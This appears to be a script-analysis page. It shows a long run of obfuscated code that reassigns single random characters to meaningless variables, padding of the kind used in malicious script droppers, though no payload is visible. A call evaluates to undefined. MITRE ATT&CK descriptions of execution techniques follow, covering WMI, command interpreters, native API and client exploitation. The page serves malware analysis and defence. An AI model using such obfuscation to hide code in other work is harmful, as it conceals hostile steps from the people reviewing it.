258	exzqth = "t";
259	exzqth = "I";
260	exzqth = "h";
261	exzqth = "d";
262	exzqth = "I";
263	exzqth = "M";
264	exzqth = "E";
265	exzqth = "v";
266	exzqth = "p";
267	exzqth = "H";
268	exzqth = "O";
269	exzqth = "O";
270	exzqth = "B";
271	exzqth = "h";
272	exzqth = "d";
273	exzqth = "I";
274	exzqth = "G";
275	exzqth = "n";
276	exzqth = "q";
277	exzqth = "u";
278	exzqth = "D";
279	exzqth = "H";
280	exzqth = "K";
281	exzqth = "m";
282	exzqth = "y";
283	exzqth = "P";
284	exzqth = "H";
285	exzqth = "v";
286	exzqth = "Z";
287	exzqth = "a";
288	exzqth = "f";
289	exzqth = ".";
290	miwmfl = "s";
291	miwmfl = "O";
292	miwmfl = "C";
293	miwmfl = "h";
294	miwmfl = "u";
295	miwmfl = "N";
296	miwmfl = "T";
297	miwmfl = "S";
298	miwmfl = "b";
299	miwmfl = "E";
300	bgystyoo = "k";
301	bgystyoo = "I";
302	bgystyoo = "F";
303	bgystyoo = "d";
304	bgystyoo = "f";
305	bgystyoo = "O";
306	bgystyoo = "B";
307	bgystyoo = "W";
308	bgystyoo = "s";
309	bgystyoo = "c";
310	bgystyoo = "j";
311	bgystyoo = "R";
312	bgystyoo = "k";
313	bgystyoo = "R";
314	bgystyoo = "o";
315	bgystyoo = "L";
316	bgystyoo = "B";
317	bgystyoo = "F";
318	bgystyoo = "t";
319	bgystyoo = "j";
320	bgystyoo = "A";
321	bgystyoo = "v";
322	bgystyoo = "n";
323	bgystyoo = "N";
324	bgystyoo = "U";
325	bgystyoo = "k";
326	bgystyoo = "N";
327	bgystyoo = "@";
328	ufoowv = "V";
329	ufoowv = "G";
330	ufoowv = "j";
331	ufoowv = "u";
332	ufoowv = "y";
333	ufoowv = "o";
334	ufoowv = "j";
335	ufoowv = "g";
336	ufoowv = "s";
337	ufoowv = "L";
338	ufoowv = "O";
339	ufoowv = "t";
340	ufoowv = "a";
341	ufoowv = "c";
342	fjmuzmf = "b";
343	fjmuzmf = "t";
344	fjmuzmf = "t";
345	fjmuzmf = "F";
346	fjmuzmf = "k";
347	fjmuzmf = "H";
348	fjmuzmf = "Y";
349	fjmuzmf = ":";
350	cmlly = "J";
351	cmlly = "B";
352	cmlly = "V";
353	cmlly = "h";
354	cmlly = "e";
355	iyqwrik = "i";
356	iyqwrik = "w";
357	iyqwrik = "m";
358	iyqwrik = "P";
359	iyqwrik = "A";
360	iyqwrik = "C";
361	iyqwrik = "S";
362	iyqwrik = "M";
363	iyqwrik = "c";
364	iyqwrik = "Q";
365	iyqwrik = "m";
366	iyqwrik = "N";
367	iyqwrik = "f";
368	iyqwrik = "e";
369	iyqwrik = "o";
370	iyqwrik = "W";
371	iyqwrik = "d";
372	iyqwrik = "D";
373	iyqwrik = "N";
374	iyqwrik = "s";
375	iyqwrik = "J";
376	iyqwrik = "r";
377	iyqwrik = "I";
378	hczvu = "a";
379	hczvu = "O";
380	hczvu = "C";
381	hczvu = "N";
382	hczvu = "v";
383	hczvu = "x";
384	hczvu = "K";
385	hczvu = "u";
386	hczvu = "Q";
387	hczvu = "c";
388	hczvu = "k";
389	hczvu = "A";
390	hczvu = "U";
391	hczvu = "T";
392	yjhnwkr = "y";
393	yjhnwkr = "V";
394	yjhnwkr = "T";
395	yjhnwkr = "A";
396	yjhnwkr = "M";
397	yjhnwkr = "q";
398	yjhnwkr = "U";
399	yjhnwkr = "W";
400	yjhnwkr = "v";
401	yjhnwkr = "n";
402	yjhnwkr = "Y";
403	yjhnwkr = "l";
404	yjhnwkr = "g";
405	yjhnwkr = "B";
406	yjhnwkr = "T";
407	yjhnwkr = "q";
408	yjhnwkr = "J";
409	yjhnwkr = "l";
410	yjhnwkr = "g";
411	yjhnwkr = "Q";
412	yjhnwkr = "h";
413	yjhnwkr = "z";
414	yjhnwkr = "K";
415	yjhnwkr = "A";
416	yjhnwkr = "s";
417	yjhnwkr = "W";
418	yjhnwkr = "G";
419	yjhnwkr = "j";
420	yjhnwkr = "g";
421	yjhnwkr = "a";
422	yjhnwkr = "L";
423	yjhnwkr = "Z";
424	yjhnwkr = "X";
425	yjhnwkr = "h";
426	yjhnwkr = "P";
427	yjhnwkr = "F";
428	vxijkugmj = "q";
429	jhhli = "R";
430	jhhli = "H";
431	jhhli = "S";
432	jhhli = "b";
433	jhhli = "x";
434	jhhli = "R";
435	jhhli = "d";
436	jhhli = "Y";
437	jhhli = "O";
438	jhhli = "D";
439	jhhli = "c";
440	jhhli = "W";
441	jhhli = "n";
442	jhhli = "U";
443	jhhli = "S";
444	jhhli = "V";
445	jhhli = "C";
446	wmajcq = "m";
447	wmajcq = "A";
448	wmajcq = "h";
449	wmajcq = "N";
450	wmajcq = "W";
451	wmajcq = "a";
452	wmajcq = "A";
453	wmajcq = "O";
454	wmajcq = "S";
455	wmajcq = "x";
456	wmajcq = "p";
457	wmajcq = "a";
458	wmajcq = "P";
459	wmajcq = "v";
460	wmajcq = "s";
461	wmajcq = "A";
462	wmajcq = "F";
463	wmajcq = "N";
464	wmajcq = "X";
465	wmajcq = "z";
466	wmajcq = "R";
467	wmajcq = "K";
468	wmajcq = "z";
469	wmajcq = "f";
470	wmajcq = "R";
471	wmajcq = "O";
472	wmajcq = "y";
473	wmajcq = "u";
474	wmajcq = "d";
475	wmajcq = "Z";
476	wmajcq = "Z";
477	wmajcq = "v";
478	wmajcq = "W";
479	wmajcq = "G";
480	wmajcq = "J";
481	wmajcq = "I";
482	wmajcq = "S";
483	wmajcq = "N";
484	dtqxdwx = "x";
485	dtqxdwx = "S";
486	dtqxdwx = "O";
487	dtqxdwx = "u";
488	dtqxdwx = "P";
489	dtqxdwx = "A";
490	dtqxdwx = "d";
491	dtqxdwx = "P";
492	dtqxdwx = "d";
493	dtqxdwx = "T";
494	dtqxdwx = "&";
495	dzmmogc = "G";
496	dzmmogc = "T";
497	dzmmogc = "q";
498	dzmmogc = "y";
499	dzmmogc = "w";
500	dzmmogc = "a";
501	dzmmogc = "j";
502	dzmmogc = "k";
503	dzmmogc = "Y";
504	dzmmogc = "n";
505	dzmmogc = "I";
506	dzmmogc = "c";
507	dzmmogc = "J";
508	dzmmogc = "j";
509	dzmmogc = "d";
510	dzmmogc = "Q";
511	dzmmogc = "p";
512	dzmmogc = "T";
513	dzmmogc = "A";
514	dzmmogc = "a";
515	dzmmogc = "p";
516	dzmmogc = "p";
517	txcxehuf = "f";
518	txcxehuf = "d";
519	txcxehuf = "a";
520	txcxehuf = "Q";
521	txcxehuf = "k";
522	txcxehuf = "b";
523	txcxehuf = "B";
524	txcxehuf = "L";
525	txcxehuf = "H";
526	txcxehuf = "d";
527	txcxehuf = "J";
528	txcxehuf = "r";
529	txcxehuf = "d";
530	txcxehuf = "d";
531	txcxehuf = "1";
532	dzqwkfom = "p";
533	dzqwkfom = "d";
534	dzqwkfom = "P";
535	dzqwkfom = " ";
536	evfeeco = "h";
537	evfeeco = "E";
538	evfeeco = "K";
539	evfeeco = "D";
540	evfeeco = "k";
541	evfeeco = "o";
542	evfeeco = "m";
543	evfeeco = "c";
544	evfeeco = "p";
545	evfeeco = "l";
546	evfeeco = "I";
547	evfeeco = "t";
548	evfeeco = "e";
549	evfeeco = "m";
550	evfeeco = "X";
551	evfeeco = "J";
552	evfeeco = "i";
553	evfeeco = "o";
554	evfeeco = "V";
555	evfeeco = "I";
556	evfeeco = "G";
557	evfeeco = "N";
558	evfeeco = "c";
559	evfeeco = "B";
560	evfeeco = "E";
561	evfeeco = "U";
562	evfeeco = "e";
563	evfeeco = "J";
564	evfeeco = "T";
565	evfeeco = "c";
566	evfeeco = "i";
567	evfeeco = "N";
568	evfeeco = "B";
569	evfeeco = "K";
570	evfeeco = "i";
571	evfeeco = "h";
572	evfeeco = "v";
573	evfeeco = "z";
574	evfeeco = "R";
575	evfeeco = "L";
576	evfeeco = "h";
577	ftesadvl = "Q";
578	ftesadvl = "G";
579	ftesadvl = "t";
580	ftesadvl = "x";
581	ftesadvl = "n";
582	ftesadvl = "J";
583	ftesadvl = "W";
584	ftesadvl = "T";
585	ftesadvl = "A";
586	ftesadvl = "k";
587	ftesadvl = "H";
588	ftesadvl = "w";
589	ftesadvl = "D";
590	ftesadvl = "I";
591	ftesadvl = "P";
592	iwtaqw = "J";
593	iwtaqw = "q";
594	iwtaqw = "e";
595	iwtaqw = "o";
596	iwtaqw = "l";
597	iwtaqw = "u";
598	iwtaqw = "O";
599	iwtaqw = "H";
600	iwtaqw = "g";
601	iwtaqw = "W";
602	iwtaqw = "R";
603	iwtaqw = "M";
604	iwtaqw = "r";
605	iwtaqw = "z";
606	iwtaqw = "g";
607	iwtaqw = "A";
608	iwtaqw = "t";
609	fsoahv = "y";
610	fsoahv = "l";
611	fsoahv = "h";
612	fsoahv = "L";
613	fsoahv = "i";
614	fsoahv = "n";
615	fsoahv = "E";
616	fsoahv = "3";
617	zicnni = "l";
618	zicnni = "t";
619	zicnni = "y";
620	zicnni = "F";
621	zicnni = "k";
622	zicnni = "T";
623	zicnni = "Q";
624	zicnni = "a";
625	zicnni = "V";
626	zicnni = "y";
627	zicnni = "d";
628	zicnni = "s";
629	zicnni = "U";
630	zicnni = "j";
631	zicnni = "c";
632	zicnni = "A";
633	zicnni = "N";
634	zicnni = "M";
635	zicnni = "S";
636	zicnni = "E";
637	zicnni = "t";
638	zicnni = "p";
639	zicnni = "V";
640	zicnni = "o";
641	zicnni = "i";
642	zicnni = "J";
643	zicnni = "g";
644	zicnni = "e";
645	zicnni = "h";
646	zicnni = "A";
647	zicnni = "P";
648	zicnni = "S";
649	zicnni = "Q";
650	zicnni = "P";
651	zicnni = "x";
652	zicnni = "x";
653	zicnni = "p";
654	zicnni = "g";
655	zicnni = "b";
656	whicmamg = "n";
657	whicmamg = "E";
658	whicmamg = "J";
659	whicmamg = "y";
660	whicmamg = "h";
661	whicmamg = "e";
662	whicmamg = "x";
663	whicmamg = "x";
664	whicmamg = "R";
665	whicmamg = "Q";
666	whicmamg = "S";
667	whicmamg = "V";
668	whicmamg = "k";
669	whicmamg = "U";
670	whicmamg = "W";
671	whicmamg = "J";
672	whicmamg = "L";
673	whicmamg = "x";
674	whicmamg = "-";
675	mkgybapy = "Y";
676	mkgybapy = "q";
677	mkgybapy = "u";
678	mkgybapy = "I";
679	mkgybapy = "I";
680	mkgybapy = "K";
681	mkgybapy = "c";
682	mkgybapy = "J";
683	mkgybapy = "x";
684	mkgybapy = "q";
685	mkgybapy = "R";
686	mkgybapy = "L";
687	mkgybapy = "D";
688	mkgybapy = "L";
689	mkgybapy = "c";
690	mkgybapy = "v";
691	mkgybapy = "z";
692	mkgybapy = "d";
693	mkgybapy = "f";
694	mkgybapy = "u";
695	mkgybapy = "f";
696	mkgybapy = "C";
697	mkgybapy = "k";
698	hhdyxnxu = "i";
699	hhdyxnxu = "b";
700	hhdyxnxu = "l";
701	hhdyxnxu = "w";
702	hhdyxnxu = "n";
703	hhdyxnxu = "j";
704	hhdyxnxu = "n";
705	hhdyxnxu = "V";
706	hhdyxnxu = "K";
707	hhdyxnxu = "f";
708	hhdyxnxu = "K";
709	hhdyxnxu = "T";
710	hhdyxnxu = "a";
711	hhdyxnxu = "Q";
712	hhdyxnxu = "Y";
713	hhdyxnxu = "p";
714	hhdyxnxu = "j";
715	akejtgu = "J";
716	akejtgu = "C";
717	akejtgu = "i";
718	akejtgu = "Y";
719	akejtgu = "w";
720	akejtgu = "Z";
721	akejtgu = "i";
722	akejtgu = "R";
723	akejtgu = "L";
724	akejtgu = "E";
725	akejtgu = "p";
726	akejtgu = "r";
727	akejtgu = "o";
728	akejtgu = "Z";
729	akejtgu = "b";
730	akejtgu = "n";
731	akejtgu = "E";
732	akejtgu = "E";
733	akejtgu = "R";
734	akejtgu = "x";
735	akejtgu = "B";
736	akejtgu = "m";
737	akejtgu = "M";
738	akejtgu = "p";
739	akejtgu = "O";
740	akejtgu = "9";
741	bqija = "g";
742	bqija = "T";
743	bqija = "W";
744	bqija = "P";
745	bqija = "G";
746	bqija = "d";
747	bqija = "y";
748	bqija = "a";
749	bqija = "v";
750	bqija = "v";
751	bqija = "Z";
752	bqija = "Y";
753	bqija = "q";
754	bqija = "T";
755	bqija = "p";
756	bqija = "T";
757	bqija = "J";
758	bqija = "c";
759	bqija = "B";
760	bqija = "x";
761	bqija = "P";
762	bqija = "b";
763	bqija = "q";
764	bqija = "b";
765	bqija = "c";
766	bqija = "K";
767	bqija = "o";
768	bqija = "I";
769	bqija = "C";
770	bqija = "U";
771	bqija = "n";
772	bqija = "N";
773	bqija = "n";
774	bqija = "v";
775	bqija = "F";
776	bqija = "U";
777	bqija = "K";
778	bqija = "_";
779	tnxjf = "q";
780	tnxjf = "j";
781	tnxjf = "C";
782	tnxjf = "O";
783	tnxjf = "R";
784	tnxjf = "x";
785	tnxjf = "Y";
786	tnxjf = "T";
787	tnxjf = "k";
788	tnxjf = "c";
789	tnxjf = "a";
790	tnxjf = "z";
791	tnxjf = "h";
792	tnxjf = "Z";
793	tnxjf = "E";
794	tnxjf = "j";
795	tnxjf = "N";
796	tnxjf = "V";
797	tnxjf = "F";
798	tnxjf = "Y";
799	tnxjf = "y";
800	tnxjf = "c";
801	tnxjf = "B";
802	tnxjf = "U";
803	tnxjf = "D";
804	tnxjf = "M";
805	tnxjf = "e";
806	tnxjf = "z";
807	tnxjf = "x";
808	tnxjf = "S";
809	tnxjf = "Z";
810	tnxjf = "H";
811	mqqykuvml = "y";
812	mqqykuvml = "b";
813	mqqykuvml = "Y";
814	mqqykuvml = "R";
815	mqqykuvml = "I";
816	mqqykuvml = "A";
817	mqqykuvml = "M";
818	mqqykuvml = "o";
819	mqqykuvml = "c";
820	mqqykuvml = "A";
821	mqqykuvml = "q";
822	mqqykuvml = "P";
823	mqqykuvml = "H";
824	mqqykuvml = "N";
825	mqqykuvml = "J";
826	mqqykuvml = "d";
827	npsvkftn = "D";
828	npsvkftn = "v";
829	npsvkftn = "j";
830	npsvkftn = "C";
831	npsvkftn = "J";
832	npsvkftn = "O";
833	npsvkftn = "W";
834	npsvkftn = "a";
835	npsvkftn = "o";
836	npsvkftn = "P";
837	npsvkftn = "A";
838	npsvkftn = "q";
839	npsvkftn = "p";
840	npsvkftn = "W";
841	tpziimxio = "y";
842	tpziimxio = "F";
843	tpziimxio = "W";
844	tpziimxio = "w";
845	tpziimxio = "L";
846	tpziimxio = "m";
847	tpziimxio = "t";
848	tpziimxio = "I";
849	tpziimxio = "V";
850	tpziimxio = "r";
851	tpziimxio = "X";
852	tpziimxio = "p";
853	tpziimxio = "D";
854	tpziimxio = "b";
855	tpziimxio = "A";
856	tpziimxio = "h";
857	tpziimxio = "q";
858	tpziimxio = "L";
859	tpziimxio = "U";
860	tpziimxio = "S";
861	ecrxrpgg = "C";
862	ecrxrpgg = "X";
863	ecrxrpgg = "b";
864	ecrxrpgg = "l";
865	ecrxrpgg = "m";
866	ecrxrpgg = "I";
867	ecrxrpgg = "Y";
868	ecrxrpgg = "K";
869	wpxxg = "i";
870	wpxxg = "J";
871	wpxxg = "L";
872	wpxxg = "n";
873	wpxxg = "A";
874	wpxxg = "Z";
875	wpxxg = "Q";
876	wpxxg = "d";
877	wpxxg = "k";
878	wpxxg = "k";
879	wpxxg = "x";
880	wpxxg = "f";
881	wpxxg = "b";
882	wpxxg = "D";
883	wpxxg = "C";
884	wpxxg = "D";
885	wpxxg = "B";
886	wpxxg = "L";
887	wpxxg = "o";
888	wpxxg = "q";
889	wpxxg = "z";
890	wpxxg = "W";
891	wpxxg = "Y";
892	phwgvin = "t";
893	phwgvin = "e";
894	phwgvin = "h";
895	phwgvin = "Z";
896	phwgvin = "B";
897	phwgvin = "E";
898	phwgvin = "j";
899	phwgvin = "J";
900	phwgvin = "a";
901	phwgvin = "Z";
902	phwgvin = "P";
903	phwgvin = "T";
904	phwgvin = "a";
905	phwgvin = "l";
906	phwgvin = "q";
907	phwgvin = "Q";
908	phwgvin = "e";
909	phwgvin = "e";
910	phwgvin = "h";
911	phwgvin = "Y";
912	phwgvin = "A";
913	phwgvin = "d";
914	phwgvin = "O";
915	phwgvin = "h";
916	phwgvin = "a";
917	phwgvin = "t";
918	phwgvin = "S";
919	phwgvin = "N";
920	phwgvin = "l";
921	phwgvin = "j";
922	phwgvin = "f";
923	vvxsyxuik = "G";
924	vvxsyxuik = "A";
925	vvxsyxuik = "R";
926	vvxsyxuik = "q";
927	vvxsyxuik = "W";
928	vvxsyxuik = "b";
929	vvxsyxuik = "q";
930	vvxsyxuik = "E";
931	vvxsyxuik = "Q";
932	vvxsyxuik = "x";
933	vvxsyxuik = "e";
934	vvxsyxuik = "g";
935	vvxsyxuik = "Q";
936	vvxsyxuik = "l";
937	vvxsyxuik = "R";
938	oyzfwyav = "D";
939	oyzfwyav = "r";
940	oyzfwyav = "R";
941	oyzfwyav = "u";
942	oyzfwyav = "J";
943	oyzfwyav = "R";
944	oyzfwyav = "B";
945	oyzfwyav = "r";
946	oyzfwyav = "Y";
947	oyzfwyav = "A";
948	oyzfwyav = "n";
949	oyzfwyav = "B";
950	oyzfwyav = "o";
951	oyzfwyav = "q";
952	oyzfwyav = "z";
953	oyzfwyav = "E";
954	oyzfwyav = "Q";
955	oyzfwyav = "G";
956	oyzfwyav = "0";
957	pirvkbce = "L";
958	pirvkbce = "R";
959	pirvkbce = "Y";
960	pirvkbce = "V";
961	pirvkbce = "X";
962	pirvkbce = "J";
963	pirvkbce = "M";
964	pirvkbce = "O";
965	pirvkbce = "u";
966	pirvkbce = "P";
967	pirvkbce = "m";
968	pirvkbce = "o";
969	pirvkbce = "S";
970	pirvkbce = "H";
971	pirvkbce = "t";
972	pirvkbce = "r";
973	pirvkbce = "o";
974	pirvkbce = "I";
975	pirvkbce = "Q";
976	pirvkbce = "B";
977	pirvkbce = "b";
978	pirvkbce = "p";
979	pirvkbce = "O";
980	pirvkbce = "w";
981	pirvkbce = "A";
982	pirvkbce = "T";
983	pirvkbce = "a";
984	pirvkbce = "N";
985	pirvkbce = "t";
986	pirvkbce = "n";
987	pirvkbce = "o";
988	pirvkbce = "m";
989	pirvkbce = "k";
990	pirvkbce = "B";
991	pirvkbce = "k";
992	pirvkbce = "F";
993	pirvkbce = "\\";
994	ufivo = "I";
995	ufivo = "c";
996	ufivo = "r";
997	ufivo = "X";
998	ufivo = "l";
999	ufivo = "o";
1000	ufivo = "X";
1001	ufivo = "Q";
1002	ufivo = "g";
1003	ufivo = "G";
1004	ufivo = "H";
1005	ufivo = "c";
1006	ufivo = "e";
1007	ufivo = "b";
1008	ufivo = "s";
1009	ufivo = "w";
1010	ufivo = "L";
1011	ufivo = "b";
1012	ufivo = "n";
1013	ufivo = "Z";
1014	ufivo = "M";
1015	ufivo = "P";
1016	ufivo = "F";
1017	ufivo = "F";
1018	ufivo = "X";
1019	ufivo = "o";
1020	ufivo = "i";
1021	ufivo = "w";
1022	ufivo = "v";
1023	ufivo = "j";
1024	ufivo = "c";
1025	ufivo = "G";
1026	ufivo = "f";
1027	ufivo = "I";
1028	ufivo = "g";
1029	ufivo = "L";
1030	ffvakvywd = "f";
1031	ffvakvywd = "i";
1032	ffvakvywd = "L";
1033	ffvakvywd = "t";
1034	ffvakvywd = "O";
1035	ffvakvywd = "Q";
1036	ffvakvywd = "U";
1037	ffvakvywd = "K";
1038	ffvakvywd = "b";
1039	ffvakvywd = "N";
1040	ffvakvywd = "G";
1041	ffvakvywd = "k";
1042	ffvakvywd = "W";
1043	ffvakvywd = "v";
1044	ffvakvywd = "b";
1045	ffvakvywd = "z";
1046	ffvakvywd = "y";
1047	ffvakvywd = "N";
1048	ffvakvywd = "D";
1049	ffvakvywd = "z";
1050	ffvakvywd = "d";
1051	ffvakvywd = "U";
1052	ffvakvywd = "Y";
1053	ffvakvywd = "h";
1054	ffvakvywd = "v";
1055	ffvakvywd = "y";
1056	ffvakvywd = "x";
1057	ffvakvywd = "G";
1058	ffvakvywd = "S";
1059	ffvakvywd = "M";
1060	ffvakvywd = "C";
1061	ffvakvywd = "t";
1062	ffvakvywd = "t";
1063	ffvakvywd = "O";
1064	ffvakvywd = "n";
1065	ffvakvywd = "N";
1066	ffvakvywd = "W";
1067	ffvakvywd = "j";
1068	ffvakvywd = "Z";
1069	ffvakvywd = "j";
1070	ffvakvywd = "Q";
1071	ffvakvywd = "v";
1072	ffvakvywd = "s";
1073	dxvwqee = "I";
1074	dxvwqee = "C";
1075	dxvwqee = "P";
1076	dxvwqee = "l";
1077	dxvwqee = "M";
1078	dxvwqee = "p";
1079	dxvwqee = "a";
1080	dxvwqee = "F";
1081	dxvwqee = "o";
1082	dxvwqee = "e";
1083	dxvwqee = "i";
1084	dxvwqee = "b";
1085	dxvwqee = "M";
1086	dxvwqee = "a";
1087	dxvwqee = "v";
1088	ooksfti = "w";
1089	ooksfti = "g";
1090	ooksfti = "q";
1091	ooksfti = "j";
1092	ooksfti = "F";
1093	ooksfti = "i";
1094	ooksfti = "i";
1095	ooksfti = "F";
1096	ooksfti = "P";
1097	ooksfti = "N";
1098	ooksfti = "q";
1099	ooksfti = "o";
1100	ooksfti = "n";
1101	ooksfti = "A";
1102	ooksfti = "U";
1103	ooksfti = "f";
1104	ooksfti = "l";
1105	ooksfti = "p";
1106	ooksfti = "L";
1107	ooksfti = "c";
1108	ooksfti = "m";
1109	ooksfti = "T";
1110	ooksfti = "e";
1111	ooksfti = "B";
1112	ooksfti = "L";
1113	ooksfti = "G";
1114	ooksfti = "b";
1115	ooksfti = "m";
1116	ooksfti = "R";
1117	ooksfti = "A";
1118	ooksfti = "R";
1119	ooksfti = "P";
1120	ooksfti = "O";
1121	ooksfti = "u";
1122	ooksfti = "g";
1123	ooksfti = "J";
1124	ooksfti = "v";
1125	ooksfti = "q";
1126	ooksfti = "d";
1127	ooksfti = "o";
1128	mdocpupkm = "g";
1129	mdocpupkm = "H";
1130	mdocpupkm = "i";
1131	mdocpupkm = "V";
1132	mdocpupkm = "G";
1133	mdocpupkm = "V";
1134	mdocpupkm = "J";
1135	mdocpupkm = "H";
1136	mdocpupkm = "V";
1137	mdocpupkm = "E";
1138	mdocpupkm = "k";
1139	mdocpupkm = "I";
1140	mdocpupkm = "A";
1141	mdocpupkm = "J";
1142	mdocpupkm = "t";
1143	mdocpupkm = "W";
1144	mdocpupkm = "Z";
1145	mdocpupkm = "U";
1146	mdocpupkm = "r";
1147	mdocpupkm = "e";
1148	mdocpupkm = "U";
1149	mdocpupkm = "X";
1150	mdocpupkm = "T";
1151	mdocpupkm = "I";
1152	mdocpupkm = "x";
1153	mdocpupkm = "Y";
1154	mdocpupkm = "g";
1155	mdocpupkm = "s";
1156	mdocpupkm = "X";
1157	mdocpupkm = "j";
1158	mdocpupkm = "b";
1159	mdocpupkm = "x";
1160	mdocpupkm = "I";
1161	mdocpupkm = "Q";
1162	mdocpupkm = "k";
1163	mdocpupkm = "V";
1164	mdocpupkm = "Q";
1165	mdocpupkm = "M";
1166	mdocpupkm = "j";
1167	mdocpupkm = "x";
1168	mdocpupkm = "V";
1169	mdocpupkm = "m";
1170	cbcugst = "f";
1171	cbcugst = "L";
1172	cbcugst = "E";
1173	cbcugst = "S";
1174	cbcugst = "P";
1175	cbcugst = "h";
1176	cbcugst = "s";
1177	cbcugst = "t";
1178	cbcugst = "B";
1179	cbcugst = "m";
1180	cbcugst = "x";
1181	cbcugst = "W";
1182	cbcugst = "D";
1183	cbcugst = "a";
1184	cbcugst = "p";
1185	cbcugst = "B";
1186	cbcugst = "P";
1187	cbcugst = "x";
1188	vmjfztdk = "S";
1189	vmjfztdk = "A";
1190	vmjfztdk = "m";
1191	vmjfztdk = "C";
1192	vmjfztdk = "l";
1193	vmjfztdk = "T";
1194	vmjfztdk = "k";
1195	vmjfztdk = "y";
1196	vmjfztdk = "x";
1197	vmjfztdk = "C";
1198	vmjfztdk = "X";
1199	vmjfztdk = "u";
1200	vmjfztdk = "U";
1201	aglbvzedi = "S";
1202	aglbvzedi = "M";
1203	aglbvzedi = "j";
1204	aglbvzedi = "e";
1205	aglbvzedi = "K";
1206	aglbvzedi = "K";
1207	aglbvzedi = "X";
1208	aglbvzedi = "K";
1209	aglbvzedi = "R";
1210	aglbvzedi = "T";
1211	aglbvzedi = "o";
1212	aglbvzedi = "P";
1213	aglbvzedi = "A";
1214	aglbvzedi = "i";
1215	aglbvzedi = "d";
1216	aglbvzedi = "M";
1217	aglbvzedi = "n";
1218	aglbvzedi = "n";
1219	aglbvzedi = "U";
1220	aglbvzedi = "p";
1221	aglbvzedi = "J";
1222	aglbvzedi = "b";
1223	aglbvzedi = "H";
1224	aglbvzedi = "D";
1225	aglbvzedi = "V";
1226	aglbvzedi = "N";
1227	aglbvzedi = "h";
1228	aglbvzedi = "H";
1229	aglbvzedi = "Y";
1230	aglbvzedi = "Z";
1231	aglbvzedi = "r";
1232	aglbvzedi = "c";
1233	aglbvzedi = "Q";
1234	ovgofxh = "G";
1235	ovgofxh = "x";
1236	ovgofxh = "k";
1237	ovgofxh = "d";
1238	ovgofxh = "P";
1239	ovgofxh = "a";
1240	wijro = "r";
1241	wijro = "f";
1242	wijro = "q";
1243	wijro = "Y";
1244	wijro = "W";
1245	wijro = "q";
1246	wijro = "k";
1247	wijro = "h";
1248	wijro = "r";
1249	wijro = "b";
1250	wijro = "k";
1251	wijro = "I";
1252	wijro = "W";
1253	wijro = "T";
1254	wijro = "C";
1255	wijro = "y";
1256	wijro = "J";
1257	wijro = "F";
1258	wijro = "h";
1259	wijro = "v";
1260	wijro = "s";
1261	wijro = "K";
1262	wijro = "b";
1263	wijro = "n";
1264	wijro = "I";
1265	wijro = "I";
1266	wijro = "Q";
1267	wijro = "G";
1268	wijro = "T";
1269	wijro = "S";
1270	wijro = "y";
1271	wijro = "T";
1272	wijro = "d";
1273	wijro = "U";
1274	wijro = "n";
1275	akknicu = "B";
1276	akknicu = "u";
1277	akknicu = "Y";
1278	akknicu = "Q";
1279	akknicu = "i";
1280	akknicu = "a";
1281	akknicu = "Q";
1282	akknicu = "Z";
1283	akknicu = "Q";
1284	akknicu = "m";
1285	akknicu = "n";
1286	akknicu = "f";
1287	akknicu = "B";
1288	akknicu = "C";
1289	akknicu = "i";
1290	bpwpir = "E";
1291	bpwpir = "E";
1292	bpwpir = "l";
1293	bpwpir = "p";
1294	bpwpir = "A";
1295	bpwpir = "J";
1296	bpwpir = "s";
1297	bpwpir = "T";
1298	bpwpir = "n";
1299	bpwpir = "G";
1300	bpwpir = "x";
1301	bpwpir = "n";
1302	bpwpir = "Z";
1303	bpwpir = "N";
1304	bpwpir = "Z";
1305	bpwpir = "S";
1306	bpwpir = "x";
1307	bpwpir = "c";
1308	bpwpir = "c";
1309	bpwpir = "g";
1310	cdske = "Q";
1311	cdske = "F";
1312	cdske = "J";
1313	cdske = "o";
1314	cdske = "W";
1315	cdske = "B";
1316	cdske = "T";
1317	cdske = "v";
1318	cdske = "a";
1319	cdske = "t";
1320	cdske = "E";
1321	cdske = "c";
1322	cdske = "v";
1323	cdske = "B";
1324	cdske = "V";
1325	cdske = "V";
1326	cdske = "l";
1327	cdske = "T";
1328	cdske = "s";
1329	cdske = "J";
1330	cdske = "u";
1331	cdske = "2";
1332	gfchpli ( );	gfchpli() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

